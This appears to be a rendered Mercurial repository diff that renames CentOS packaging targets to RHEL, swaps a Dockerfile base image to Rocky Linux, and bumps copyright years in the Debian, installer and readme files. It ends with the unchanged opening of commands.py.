119 docker-rhel$(1):
120 ./dockerrpm centos$(1) $$(if $$(filter $(1),$$(CENTOS_WITH_PYTHON_RELEASES)),--withpython,$$(if $$(filter $(1),$$(CENTOS_WITH_NONVERSIONED_PYTHON)),--python python,))$$(if $$(filter $(1),$$(CENTOS_WITH_36_DOCUTILS)), --docutilspackage python36-docutils,)
120 ./dockerrpm rhel$(1) $$(if $$(filter $(1),$$(RHEL_WITH_PYTHON_RELEASES)),--withpython,$$(if $$(filter $(1),$$(RHEL_WITH_NONVERSIONED_PYTHON)),--python python,))$$(if $$(filter $(1),$$(RHEL_WITH_36_DOCUTILS)), --docutilspackage python36-docutils,)
121
121
122 endef
122 endef
123
123
124 $(foreach release,$(CENTOS_RELEASES),$(eval $(call centos_targets,$(release))))
124 $(foreach release,$(RHEL_RELEASES),$(eval $(call rhel_targets,$(release))))
125
125
126 .PHONY: linux-wheels
126 .PHONY: linux-wheels
127 linux-wheels: linux-wheels-x86_64 linux-wheels-i686
127 linux-wheels: linux-wheels-x86_64 linux-wheels-i686
128
128
129 .PHONY: linux-wheels-x86_64
129 .PHONY: linux-wheels-x86_64
130 linux-wheels-x86_64:
130 linux-wheels-x86_64:
131 docker run -e "HGTEST_JOBS=$(shell nproc)" --rm -ti -v `pwd`/../..:/src quay.io/pypa/manylinux1_x86_64 /src/contrib/packaging/build-linux-wheels.sh
131 docker run -e "HGTEST_JOBS=$(shell nproc)" --rm -ti -v `pwd`/../..:/src quay.io/pypa/manylinux1_x86_64 /src/contrib/packaging/build-linux-wheels.sh
132
132
133 .PHONY: linux-wheels-i686
133 .PHONY: linux-wheels-i686
134 linux-wheels-i686:
134 linux-wheels-i686:
135 docker run -e "HGTEST_JOBS=$(shell nproc)" --rm -ti -v `pwd`/../..:/src quay.io/pypa/manylinux1_i686 linux32 /src/contrib/packaging/build-linux-wheels.sh
135 docker run -e "HGTEST_JOBS=$(shell nproc)" --rm -ti -v `pwd`/../..:/src quay.io/pypa/manylinux1_i686 linux32 /src/contrib/packaging/build-linux-wheels.sh
@@ -1,27 +1,27 b''
1 Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
1 Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
2 Upstream-Name: mercurial
2 Upstream-Name: mercurial
3 Source: https://www.mercurial-scm.org/
3 Source: https://www.mercurial-scm.org/
4
4
5 Files: *
5 Files: *
6 Copyright: 2005-2021, Olivia Mackall <olivia@selenic.com> and others.
6 Copyright: 2005-2022, Olivia Mackall <olivia@selenic.com> and others.
7 License: GPL-2+
7 License: GPL-2+
8 This program is free software; you can redistribute it
8 This program is free software; you can redistribute it
9 and/or modify it under the terms of the GNU General Public
9 and/or modify it under the terms of the GNU General Public
10 License as published by the Free Software Foundation; either
10 License as published by the Free Software Foundation; either
11 version 2 of the License, or (at your option) any later
11 version 2 of the License, or (at your option) any later
12 version.
12 version.
13 .
13 .
14 This program is distributed in the hope that it will be
14 This program is distributed in the hope that it will be
15 useful, but WITHOUT ANY WARRANTY; without even the implied
15 useful, but WITHOUT ANY WARRANTY; without even the implied
16 warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
16 warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
17 PURPOSE. See the GNU General Public License for more
17 PURPOSE. See the GNU General Public License for more
18 details.
18 details.
19 .
19 .
20 You should have received a copy of the GNU General Public
20 You should have received a copy of the GNU General Public
21 License along with this package; if not, write to the Free
21 License along with this package; if not, write to the Free
22 Software Foundation, Inc., 51 Franklin St, Fifth Floor,
22 Software Foundation, Inc., 51 Franklin St, Fifth Floor,
23 Boston, MA 02110-1301 USA
23 Boston, MA 02110-1301 USA
24 .
24 .
25 On Debian systems, the full text of the GNU General Public
25 On Debian systems, the full text of the GNU General Public
26 License version 2 can be found in the file
26 License version 2 can be found in the file
27 `/usr/share/common-licenses/GPL-2'.
27 `/usr/share/common-licenses/GPL-2'.
1 NO CONTENT: file renamed from contrib/packaging/docker/centos7 to contrib/packaging/docker/rhel7
NO CONTENT: file renamed from contrib/packaging/docker/centos7 to contrib/packaging/docker/rhel7
@@ -1,18 +1,18 b''
1 FROM centos:centos8
1 FROM rockylinux/rockylinux:8
2
2
3 RUN groupadd -g %GID% build && \
3 RUN groupadd -g %GID% build && \
4 useradd -u %UID% -g %GID% -s /bin/bash -d /build -m build
4 useradd -u %UID% -g %GID% -s /bin/bash -d /build -m build
5
5
6 RUN yum install -y \
6 RUN yum install -y \
7 gcc \
7 gcc \
8 gettext \
8 gettext \
9 make \
9 make \
10 python3-devel \
10 python3-devel \
11 python3-docutils \
11 python3-docutils \
12 rpm-build
12 rpm-build
13
13
14 # For creating repo meta data
14 # For creating repo meta data
15 RUN yum install -y createrepo
15 RUN yum install -y createrepo
16
16
17 # For rust extensions
17 # For rust extensions
18 RUN yum install -y cargo
18 RUN yum install -y cargo
@@ -1,82 +1,82 b''
1 ; Script generated by the Inno Setup Script Wizard.
1 ; Script generated by the Inno Setup Script Wizard.
2 ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!
2 ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!
3
3
4 #ifndef ARCH
4 #ifndef ARCH
5 #define ARCH = "x86"
5 #define ARCH = "x86"
6 #endif
6 #endif
7
7
8 [Setup]
8 [Setup]
9 AppCopyright=Copyright 2005-2021 Olivia Mackall and others
9 AppCopyright=Copyright 2005-2022 Olivia Mackall and others
10 AppName=Mercurial
10 AppName=Mercurial
11 AppVersion={#VERSION}
11 AppVersion={#VERSION}
12 OutputBaseFilename=Mercurial-{#VERSION}{#SUFFIX}
12 OutputBaseFilename=Mercurial-{#VERSION}{#SUFFIX}
13 #if ARCH == "x64"
13 #if ARCH == "x64"
14 AppVerName=Mercurial {#VERSION} (64-bit)
14 AppVerName=Mercurial {#VERSION} (64-bit)
15 ArchitecturesAllowed=x64
15 ArchitecturesAllowed=x64
16 ArchitecturesInstallIn64BitMode=x64
16 ArchitecturesInstallIn64BitMode=x64
17 #else
17 #else
18 AppVerName=Mercurial {#VERSION}
18 AppVerName=Mercurial {#VERSION}
19 #endif
19 #endif
20 InfoAfterFile=../postinstall.txt
20 InfoAfterFile=../postinstall.txt
21 LicenseFile=Copying.txt
21 LicenseFile=Copying.txt
22 ShowLanguageDialog=yes
22 ShowLanguageDialog=yes
23 AppPublisher=Olivia Mackall and others
23 AppPublisher=Olivia Mackall and others
24 AppPublisherURL=https://mercurial-scm.org/
24 AppPublisherURL=https://mercurial-scm.org/
25 AppSupportURL=https://mercurial-scm.org/
25 AppSupportURL=https://mercurial-scm.org/
26 AppUpdatesURL=https://mercurial-scm.org/
26 AppUpdatesURL=https://mercurial-scm.org/
27 {{ 'AppID={{4B95A5F1-EF59-4B08-BED8-C891C46121B3}' }}
27 {{ 'AppID={{4B95A5F1-EF59-4B08-BED8-C891C46121B3}' }}
28 AppContact=mercurial@mercurial-scm.org
28 AppContact=mercurial@mercurial-scm.org
29 DefaultDirName={pf}\Mercurial
29 DefaultDirName={pf}\Mercurial
30 SourceDir=stage
30 SourceDir=stage
31 VersionInfoDescription=Mercurial distributed SCM (version {#VERSION})
31 VersionInfoDescription=Mercurial distributed SCM (version {#VERSION})
32 VersionInfoCopyright=Copyright 2005-2021 Olivia Mackall and others
32 VersionInfoCopyright=Copyright 2005-2022 Olivia Mackall and others
33 VersionInfoCompany=Olivia Mackall and others
33 VersionInfoCompany=Olivia Mackall and others
34 VersionInfoVersion={#QUAD_VERSION}
34 VersionInfoVersion={#QUAD_VERSION}
35 InternalCompressLevel=max
35 InternalCompressLevel=max
36 SolidCompression=true
36 SolidCompression=true
37 SetupIconFile=../mercurial.ico
37 SetupIconFile=../mercurial.ico
38 AllowNoIcons=true
38 AllowNoIcons=true
39 DefaultGroupName=Mercurial
39 DefaultGroupName=Mercurial
40 PrivilegesRequired=none
40 PrivilegesRequired=none
41 ChangesEnvironment=true
41 ChangesEnvironment=true
42
42
43 [Files]
43 [Files]
44 {% for entry in package_files -%}
44 {% for entry in package_files -%}
45 Source: {{ entry.source }}; DestDir: {{ entry.dest_dir }}
45 Source: {{ entry.source }}; DestDir: {{ entry.dest_dir }}
46 {%- if entry.metadata %}; {{ entry.metadata }}{% endif %}
46 {%- if entry.metadata %}; {{ entry.metadata }}{% endif %}
47 {% endfor %}
47 {% endfor %}
48
48
49 [INI]
49 [INI]
50 Filename: {app}\Mercurial.url; Section: InternetShortcut; Key: URL; String: https://mercurial-scm.org/
50 Filename: {app}\Mercurial.url; Section: InternetShortcut; Key: URL; String: https://mercurial-scm.org/
51
51
52 [UninstallDelete]
52 [UninstallDelete]
53 Type: files; Name: {app}\Mercurial.url
53 Type: files; Name: {app}\Mercurial.url
54 Type: filesandordirs; Name: {app}\defaultrc
54 Type: filesandordirs; Name: {app}\defaultrc
55
55
56 [Icons]
56 [Icons]
57 Name: {group}\Uninstall Mercurial; Filename: {uninstallexe}
57 Name: {group}\Uninstall Mercurial; Filename: {uninstallexe}
58 Name: {group}\Mercurial Command Reference; Filename: {app}\Docs\hg.1.html
58 Name: {group}\Mercurial Command Reference; Filename: {app}\Docs\hg.1.html
59 Name: {group}\Mercurial Configuration Files; Filename: {app}\Docs\hgrc.5.html
59 Name: {group}\Mercurial Configuration Files; Filename: {app}\Docs\hgrc.5.html
60 Name: {group}\Mercurial Ignore Files; Filename: {app}\Docs\hgignore.5.html
60 Name: {group}\Mercurial Ignore Files; Filename: {app}\Docs\hgignore.5.html
61 Name: {group}\Mercurial Web Site; Filename: {app}\Mercurial.url
61 Name: {group}\Mercurial Web Site; Filename: {app}\Mercurial.url
62
62
63 [Tasks]
63 [Tasks]
64 Name: modifypath; Description: Add the installation path to the search path; Flags: unchecked
64 Name: modifypath; Description: Add the installation path to the search path; Flags: unchecked
65
65
66 [Code]
66 [Code]
67 procedure Touch(fn: String);
67 procedure Touch(fn: String);
68 begin
68 begin
69 SaveStringToFile(ExpandConstant(fn), '', False);
69 SaveStringToFile(ExpandConstant(fn), '', False);
70 end;
70 end;
71
71
72 const
72 const
73 ModPathName = 'modifypath';
73 ModPathName = 'modifypath';
74 ModPathType = 'user';
74 ModPathType = 'user';
75
75
76 function ModPathDir(): TArrayOfString;
76 function ModPathDir(): TArrayOfString;
77 begin
77 begin
78 setArrayLength(Result, 1)
78 setArrayLength(Result, 1)
79 Result[0] := ExpandConstant('{app}');
79 Result[0] := ExpandConstant('{app}');
80 end;
80 end;
81
81
82 {% include 'modpath.iss' %}
82 {% include 'modpath.iss' %}
@@ -1,161 +1,161 b''
1 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
1 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
2 <html>
2 <html>
3 <head>
3 <head>
4 <title>Mercurial for Windows</title>
4 <title>Mercurial for Windows</title>
5 <meta http-equiv="Content-Type" content="text/html;charset=utf-8" >
5 <meta http-equiv="Content-Type" content="text/html;charset=utf-8" >
6 <style type="text/css">
6 <style type="text/css">
7 <!--
7 <!--
8 html {
8 html {
9 font-family: sans-serif;
9 font-family: sans-serif;
10 margin: 1em 2em;
10 margin: 1em 2em;
11 }
11 }
12
12
13 p {
13 p {
14 margin-top: 0.5em;
14 margin-top: 0.5em;
15 margin-bottom: 0.5em;
15 margin-bottom: 0.5em;
16 }
16 }
17
17
18 pre {
18 pre {
19 margin: 0.25em 0em;
19 margin: 0.25em 0em;
20 padding: 0.5em;
20 padding: 0.5em;
21 background-color: #EEE;
21 background-color: #EEE;
22 border: thin solid #CCC;
22 border: thin solid #CCC;
23 }
23 }
24
24
25 .indented {
25 .indented {
26 padding-left: 10pt;
26 padding-left: 10pt;
27 }
27 }
28 -->
28 -->
29 </style>
29 </style>
30 </head>
30 </head>
31
31
32 <body>
32 <body>
33 <h1>Mercurial for Windows</h1>
33 <h1>Mercurial for Windows</h1>
34
34
35 <p>Welcome to Mercurial for Windows!</p>
35 <p>Welcome to Mercurial for Windows!</p>
36
36
37 <p>
37 <p>
38 Mercurial is a command-line application. You must run it from
38 Mercurial is a command-line application. You must run it from
39 the Windows command prompt (or if you're hard core, a <a
39 the Windows command prompt (or if you're hard core, a <a
40 href="http://www.mingw.org/">MinGW</a> shell).
40 href="http://www.mingw.org/">MinGW</a> shell).
41 </p>
41 </p>
42
42
43 <p class="indented">
43 <p class="indented">
44 <i>Note: the standard <a href="http://www.mingw.org/">MinGW</a>
44 <i>Note: the standard <a href="http://www.mingw.org/">MinGW</a>
45 msys startup script uses rxvt which has problems setting up
45 msys startup script uses rxvt which has problems setting up
46 standard input and output. Running bash directly works
46 standard input and output. Running bash directly works
47 correctly.</i>
47 correctly.</i>
48 </p>
48 </p>
49
49
50 <p>
50 <p>
51 For documentation, please visit the <a
51 For documentation, please visit the <a
52 href="https://mercurial-scm.org/">Mercurial web site</a>.
52 href="https://mercurial-scm.org/">Mercurial web site</a>.
53 You can also download a free book, <a
53 You can also download a free book, <a
54 href="https://book.mercurial-scm.org/">Mercurial: The Definitive
54 href="https://book.mercurial-scm.org/">Mercurial: The Definitive
55 Guide</a>.
55 Guide</a>.
56 </p>
56 </p>
57
57
58 <p>
58 <p>
59 By default, Mercurial installs to <tt>C:\Program
59 By default, Mercurial installs to <tt>C:\Program
60 Files\Mercurial</tt>. The Mercurial command is called
60 Files\Mercurial</tt>. The Mercurial command is called
61 <tt>hg.exe</tt>.
61 <tt>hg.exe</tt>.
62 </p>
62 </p>
63
63
64 <h1>Testing Mercurial after you've installed it</h1>
64 <h1>Testing Mercurial after you've installed it</h1>
65
65
66 <p>
66 <p>
67 The easiest way to check that Mercurial is installed properly is
67 The easiest way to check that Mercurial is installed properly is
68 to just type the following at the command prompt:
68 to just type the following at the command prompt:
69 </p>
69 </p>
70
70
71 <pre>
71 <pre>
72 hg
72 hg
73 </pre>
73 </pre>
74
74
75 <p>
75 <p>
76 This command should print a useful help message. If it does,
76 This command should print a useful help message. If it does,
77 other Mercurial commands should work fine for you.
77 other Mercurial commands should work fine for you.
78 </p>
78 </p>
79
79
80 <h1>Configuration notes</h1>
80 <h1>Configuration notes</h1>
81 <h4>Default editor</h4>
81 <h4>Default editor</h4>
82 <p>
82 <p>
83 The default editor for commit messages is 'notepad'. You can set
83 The default editor for commit messages is 'notepad'. You can set
84 the <tt>EDITOR</tt> (or <tt>HGEDITOR</tt>) environment variable
84 the <tt>EDITOR</tt> (or <tt>HGEDITOR</tt>) environment variable
85 to specify your preference or set it in <tt>mercurial.ini</tt>:
85 to specify your preference or set it in <tt>mercurial.ini</tt>:
86 </p>
86 </p>
87 <pre>
87 <pre>
88 [ui]
88 [ui]
89 editor = whatever
89 editor = whatever
90 </pre>
90 </pre>
91
91
92 <h4>Configuring a Merge program</h4>
92 <h4>Configuring a Merge program</h4>
93 <p>
93 <p>
94 It should be emphasized that Mercurial by itself doesn't attempt
94 It should be emphasized that Mercurial by itself doesn't attempt
95 to do a Merge at the file level, neither does it make any
95 to do a Merge at the file level, neither does it make any
96 attempt to Resolve the conflicts.
96 attempt to Resolve the conflicts.
97 </p>
97 </p>
98
98
99 <p>
99 <p>
100 By default, Mercurial will use the merge program defined by the
100 By default, Mercurial will use the merge program defined by the
101 <tt>HGMERGE</tt> environment variable, or uses the one defined
101 <tt>HGMERGE</tt> environment variable, or uses the one defined
102 in the <tt>mercurial.ini</tt> file. (see <a
102 in the <tt>mercurial.ini</tt> file. (see <a
103 href="https://mercurial-scm.org/wiki/MergeProgram">MergeProgram</a>
103 href="https://mercurial-scm.org/wiki/MergeProgram">MergeProgram</a>
104 on the Mercurial Wiki for more information)
104 on the Mercurial Wiki for more information)
105 </p>
105 </p>
106
106
107 <h1>Reporting problems</h1>
107 <h1>Reporting problems</h1>
108
108
109 <p>
109 <p>
110 Before you report any problems, please consult the <a
110 Before you report any problems, please consult the <a
111 href="https://mercurial-scm.org/">Mercurial web site</a>
111 href="https://mercurial-scm.org/">Mercurial web site</a>
112 and see if your question is already in our list of <a
112 and see if your question is already in our list of <a
113 href="https://mercurial-scm.org/wiki/FAQ">Frequently
113 href="https://mercurial-scm.org/wiki/FAQ">Frequently
114 Answered Questions</a> (the "FAQ").
114 Answered Questions</a> (the "FAQ").
115 </p>
115 </p>
116
116
117 <p>
117 <p>
118 If you cannot find an answer to your question, please feel free
118 If you cannot find an answer to your question, please feel free
119 to send mail to the Mercurial mailing list, at <a
119 to send mail to the Mercurial mailing list, at <a
120 href="mailto:mercurial@mercurial-scm.org">mercurial@mercurial-scm.org</a>.
120 href="mailto:mercurial@mercurial-scm.org">mercurial@mercurial-scm.org</a>.
121 <b>Remember</b>, the more useful information you include in your
121 <b>Remember</b>, the more useful information you include in your
122 report, the easier it will be for us to help you!
122 report, the easier it will be for us to help you!
123 </p>
123 </p>
124
124
125 <p>
125 <p>
126 If you are IRC-savvy, that's usually the fastest way to get
126 If you are IRC-savvy, that's usually the fastest way to get
127 help. Go to <tt>#mercurial</tt> on <tt>irc.freenode.net</tt>.
127 help. Go to <tt>#mercurial</tt> on <tt>irc.freenode.net</tt>.
128 </p>
128 </p>
129
129
130 <h1>Author and copyright information</h1>
130 <h1>Author and copyright information</h1>
131
131
132 <p>
132 <p>
133 Mercurial was written by <a href="http://www.selenic.com">Matt
133 Mercurial was written by <a href="http://www.selenic.com">Matt
134 Mackall</a>, and is maintained by Matt and a team of volunteers.
134 Mackall</a>, and is maintained by Matt and a team of volunteers.
135 </p>
135 </p>
136
136
137 <p>
137 <p>
138 The Windows installer was written by <a
138 The Windows installer was written by <a
139 href="http://www.serpentine.com/blog">Bryan O'Sullivan</a>.
139 href="http://www.serpentine.com/blog">Bryan O'Sullivan</a>.
140 </p>
140 </p>
141
141
142 <p>
142 <p>
143 Mercurial is Copyright 2005-2021 Olivia Mackall and others.
143 Mercurial is Copyright 2005-2022 Olivia Mackall and others.
144 </p>
144 </p>
145
145
146 <p>
146 <p>
147 Mercurial is free software; you can redistribute it and/or
147 Mercurial is free software; you can redistribute it and/or
148 modify it under the terms of the <a
148 modify it under the terms of the <a
149 href="http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt">GNU
149 href="http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt">GNU
150 General Public License version 2</a> or any later version.
150 General Public License version 2</a> or any later version.
151 </p>
151 </p>
152
152
153 <p>
153 <p>
154 Mercurial is distributed in the hope that it will be useful, but
154 Mercurial is distributed in the hope that it will be useful, but
155 <b>without any warranty</b>; without even the implied warranty
155 <b>without any warranty</b>; without even the implied warranty
156 of <b>merchantability</b> or <b>fitness for a particular
156 of <b>merchantability</b> or <b>fitness for a particular
157 purpose</b>. See the GNU General Public License for more
157 purpose</b>. See the GNU General Public License for more
158 details.
158 details.
159 </p>
159 </p>
160 </body>
160 </body>
161 </html>
161 </html>
@@ -1,7952 +1,7952 b''
1 # commands.py - command processing for mercurial
1 # commands.py - command processing for mercurial
2 #
2 #
3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import errno
10 import errno
11 import os
11 import os
12 import re
12 import re
13 import sys
13 import sys
14
14
15 from .i18n import _
15 from .i18n import _
16 from .node import (
16 from .node import (
17 hex,
17 hex,
18 nullrev,
18 nullrev,
19 short,
19 short,
20 wdirrev,
20 wdirrev,
21 )
21 )
22 from .pycompat import open
22 from .pycompat import open
23 from . import (
23 from . import (
24 archival,
24 archival,
25 bookmarks,
25 bookmarks,
26 bundle2,
26 bundle2,
27 bundlecaches,
27 bundlecaches,
28 changegroup,
28 changegroup,
29 cmdutil,
29 cmdutil,
30 copies,
30 copies,
31 debugcommands as debugcommandsmod,
31 debugcommands as debugcommandsmod,
32 destutil,
32 destutil,
33 dirstateguard,
33 dirstateguard,
34 discovery,
34 discovery,
35 encoding,
35 encoding,
36 error,
36 error,
37 exchange,
37 exchange,
38 extensions,
38 extensions,
39 filemerge,
39 filemerge,
40 formatter,
40 formatter,
41 graphmod,
41 graphmod,
42 grep as grepmod,
42 grep as grepmod,
43 hbisect,
43 hbisect,
44 help,
44 help,
45 hg,
45 hg,
46 logcmdutil,
46 logcmdutil,
47 merge as mergemod,
47 merge as mergemod,
48 mergestate as mergestatemod,
48 mergestate as mergestatemod,
49 narrowspec,
49 narrowspec,
50 obsolete,
50 obsolete,
51 obsutil,
51 obsutil,
52 patch,
52 patch,
53 phases,
53 phases,
54 pycompat,
54 pycompat,
55 rcutil,
55 rcutil,
56 registrar,
56 registrar,
57 requirements,
57 requirements,
58 revsetlang,
58 revsetlang,
59 rewriteutil,
59 rewriteutil,
60 scmutil,
60 scmutil,
61 server,
61 server,
62 shelve as shelvemod,
62 shelve as shelvemod,
63 state as statemod,
63 state as statemod,
64 streamclone,
64 streamclone,
65 tags as tagsmod,
65 tags as tagsmod,
66 ui as uimod,
66 ui as uimod,
67 util,
67 util,
68 verify as verifymod,
68 verify as verifymod,
69 vfs as vfsmod,
69 vfs as vfsmod,
70 wireprotoserver,
70 wireprotoserver,
71 )
71 )
72 from .utils import (
72 from .utils import (
73 dateutil,
73 dateutil,
74 stringutil,
74 stringutil,
75 urlutil,
75 urlutil,
76 )
76 )
77
77
78 table = {}
78 table = {}
79 table.update(debugcommandsmod.command._table)
79 table.update(debugcommandsmod.command._table)
80
80
81 command = registrar.command(table)
81 command = registrar.command(table)
82 INTENT_READONLY = registrar.INTENT_READONLY
82 INTENT_READONLY = registrar.INTENT_READONLY
83
83
84 # common command options
84 # common command options
85
85
86 globalopts = [
86 globalopts = [
87 (
87 (
88 b'R',
88 b'R',
89 b'repository',
89 b'repository',
90 b'',
90 b'',
91 _(b'repository root directory or name of overlay bundle file'),
91 _(b'repository root directory or name of overlay bundle file'),
92 _(b'REPO'),
92 _(b'REPO'),
93 ),
93 ),
94 (b'', b'cwd', b'', _(b'change working directory'), _(b'DIR')),
94 (b'', b'cwd', b'', _(b'change working directory'), _(b'DIR')),
95 (
95 (
96 b'y',
96 b'y',
97 b'noninteractive',
97 b'noninteractive',
98 None,
98 None,
99 _(
99 _(
100 b'do not prompt, automatically pick the first choice for all prompts'
100 b'do not prompt, automatically pick the first choice for all prompts'
101 ),
101 ),
102 ),
102 ),
103 (b'q', b'quiet', None, _(b'suppress output')),
103 (b'q', b'quiet', None, _(b'suppress output')),
104 (b'v', b'verbose', None, _(b'enable additional output')),
104 (b'v', b'verbose', None, _(b'enable additional output')),
105 (
105 (
106 b'',
106 b'',
107 b'color',
107 b'color',
108 b'',
108 b'',
109 # i18n: 'always', 'auto', 'never', and 'debug' are keywords
109 # i18n: 'always', 'auto', 'never', and 'debug' are keywords
110 # and should not be translated
110 # and should not be translated
111 _(b"when to colorize (boolean, always, auto, never, or debug)"),
111 _(b"when to colorize (boolean, always, auto, never, or debug)"),
112 _(b'TYPE'),
112 _(b'TYPE'),
113 ),
113 ),
114 (
114 (
115 b'',
115 b'',
116 b'config',
116 b'config',
117 [],
117 [],
118 _(b'set/override config option (use \'section.name=value\')'),
118 _(b'set/override config option (use \'section.name=value\')'),
119 _(b'CONFIG'),
119 _(b'CONFIG'),
120 ),
120 ),
121 (b'', b'debug', None, _(b'enable debugging output')),
121 (b'', b'debug', None, _(b'enable debugging output')),
122 (b'', b'debugger', None, _(b'start debugger')),
122 (b'', b'debugger', None, _(b'start debugger')),
123 (
123 (
124 b'',
124 b'',
125 b'encoding',
125 b'encoding',
126 encoding.encoding,
126 encoding.encoding,
127 _(b'set the charset encoding'),
127 _(b'set the charset encoding'),
128 _(b'ENCODE'),
128 _(b'ENCODE'),
129 ),
129 ),
130 (
130 (
131 b'',
131 b'',
132 b'encodingmode',
132 b'encodingmode',
133 encoding.encodingmode,
133 encoding.encodingmode,
134 _(b'set the charset encoding mode'),
134 _(b'set the charset encoding mode'),
135 _(b'MODE'),
135 _(b'MODE'),
136 ),
136 ),
137 (b'', b'traceback', None, _(b'always print a traceback on exception')),
137 (b'', b'traceback', None, _(b'always print a traceback on exception')),
138 (b'', b'time', None, _(b'time how long the command takes')),
138 (b'', b'time', None, _(b'time how long the command takes')),
139 (b'', b'profile', None, _(b'print command execution profile')),
139 (b'', b'profile', None, _(b'print command execution profile')),
140 (b'', b'version', None, _(b'output version information and exit')),
140 (b'', b'version', None, _(b'output version information and exit')),
141 (b'h', b'help', None, _(b'display help and exit')),
141 (b'h', b'help', None, _(b'display help and exit')),
142 (b'', b'hidden', False, _(b'consider hidden changesets')),
142 (b'', b'hidden', False, _(b'consider hidden changesets')),
143 (
143 (
144 b'',
144 b'',
145 b'pager',
145 b'pager',
146 b'auto',
146 b'auto',
147 _(b"when to paginate (boolean, always, auto, or never)"),
147 _(b"when to paginate (boolean, always, auto, or never)"),
148 _(b'TYPE'),
148 _(b'TYPE'),
149 ),
149 ),
150 ]
150 ]
151
151
152 dryrunopts = cmdutil.dryrunopts
152 dryrunopts = cmdutil.dryrunopts
153 remoteopts = cmdutil.remoteopts
153 remoteopts = cmdutil.remoteopts
154 walkopts = cmdutil.walkopts
154 walkopts = cmdutil.walkopts
155 commitopts = cmdutil.commitopts
155 commitopts = cmdutil.commitopts
156 commitopts2 = cmdutil.commitopts2
156 commitopts2 = cmdutil.commitopts2
157 commitopts3 = cmdutil.commitopts3
157 commitopts3 = cmdutil.commitopts3
158 formatteropts = cmdutil.formatteropts
158 formatteropts = cmdutil.formatteropts
159 templateopts = cmdutil.templateopts
159 templateopts = cmdutil.templateopts
160 logopts = cmdutil.logopts
160 logopts = cmdutil.logopts
161 diffopts = cmdutil.diffopts
161 diffopts = cmdutil.diffopts
162 diffwsopts = cmdutil.diffwsopts
162 diffwsopts = cmdutil.diffwsopts
163 diffopts2 = cmdutil.diffopts2
163 diffopts2 = cmdutil.diffopts2
164 mergetoolopts = cmdutil.mergetoolopts
164 mergetoolopts = cmdutil.mergetoolopts
165 similarityopts = cmdutil.similarityopts
165 similarityopts = cmdutil.similarityopts
166 subrepoopts = cmdutil.subrepoopts
166 subrepoopts = cmdutil.subrepoopts
167 debugrevlogopts = cmdutil.debugrevlogopts
167 debugrevlogopts = cmdutil.debugrevlogopts
168
168
169 # Commands start here, listed alphabetically
169 # Commands start here, listed alphabetically
170
170
171
171
172 @command(
172 @command(
173 b'abort',
173 b'abort',
174 dryrunopts,
174 dryrunopts,
175 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
175 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
176 helpbasic=True,
176 helpbasic=True,
177 )
177 )
178 def abort(ui, repo, **opts):
178 def abort(ui, repo, **opts):
179 """abort an unfinished operation (EXPERIMENTAL)
179 """abort an unfinished operation (EXPERIMENTAL)
180
180
181 Aborts a multistep operation like graft, histedit, rebase, merge,
181 Aborts a multistep operation like graft, histedit, rebase, merge,
182 and unshelve if they are in an unfinished state.
182 and unshelve if they are in an unfinished state.
183
183
184 use --dry-run/-n to dry run the command.
184 use --dry-run/-n to dry run the command.
185 """
185 """
186 dryrun = opts.get('dry_run')
186 dryrun = opts.get('dry_run')
187 abortstate = cmdutil.getunfinishedstate(repo)
187 abortstate = cmdutil.getunfinishedstate(repo)
188 if not abortstate:
188 if not abortstate:
189 raise error.StateError(_(b'no operation in progress'))
189 raise error.StateError(_(b'no operation in progress'))
190 if not abortstate.abortfunc:
190 if not abortstate.abortfunc:
191 raise error.InputError(
191 raise error.InputError(
192 (
192 (
193 _(b"%s in progress but does not support 'hg abort'")
193 _(b"%s in progress but does not support 'hg abort'")
194 % (abortstate._opname)
194 % (abortstate._opname)
195 ),
195 ),
196 hint=abortstate.hint(),
196 hint=abortstate.hint(),
197 )
197 )
198 if dryrun:
198 if dryrun:
199 ui.status(
199 ui.status(
200 _(b'%s in progress, will be aborted\n') % (abortstate._opname)
200 _(b'%s in progress, will be aborted\n') % (abortstate._opname)
201 )
201 )
202 return
202 return
203 return abortstate.abortfunc(ui, repo)
203 return abortstate.abortfunc(ui, repo)
204
204
205
205
206 @command(
206 @command(
207 b'add',
207 b'add',
208 walkopts + subrepoopts + dryrunopts,
208 walkopts + subrepoopts + dryrunopts,
209 _(b'[OPTION]... [FILE]...'),
209 _(b'[OPTION]... [FILE]...'),
210 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
210 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
211 helpbasic=True,
211 helpbasic=True,
212 inferrepo=True,
212 inferrepo=True,
213 )
213 )
214 def add(ui, repo, *pats, **opts):
214 def add(ui, repo, *pats, **opts):
215 """add the specified files on the next commit
215 """add the specified files on the next commit
216
216
217 Schedule files to be version controlled and added to the
217 Schedule files to be version controlled and added to the
218 repository.
218 repository.
219
219
220 The files will be added to the repository at the next commit. To
220 The files will be added to the repository at the next commit. To
221 undo an add before that, see :hg:`forget`.
221 undo an add before that, see :hg:`forget`.
222
222
223 If no names are given, add all files to the repository (except
223 If no names are given, add all files to the repository (except
224 files matching ``.hgignore``).
224 files matching ``.hgignore``).
225
225
226 .. container:: verbose
226 .. container:: verbose
227
227
228 Examples:
228 Examples:
229
229
230 - New (unknown) files are added
230 - New (unknown) files are added
231 automatically by :hg:`add`::
231 automatically by :hg:`add`::
232
232
233 $ ls
233 $ ls
234 foo.c
234 foo.c
235 $ hg status
235 $ hg status
236 ? foo.c
236 ? foo.c
237 $ hg add
237 $ hg add
238 adding foo.c
238 adding foo.c
239 $ hg status
239 $ hg status
240 A foo.c
240 A foo.c
241
241
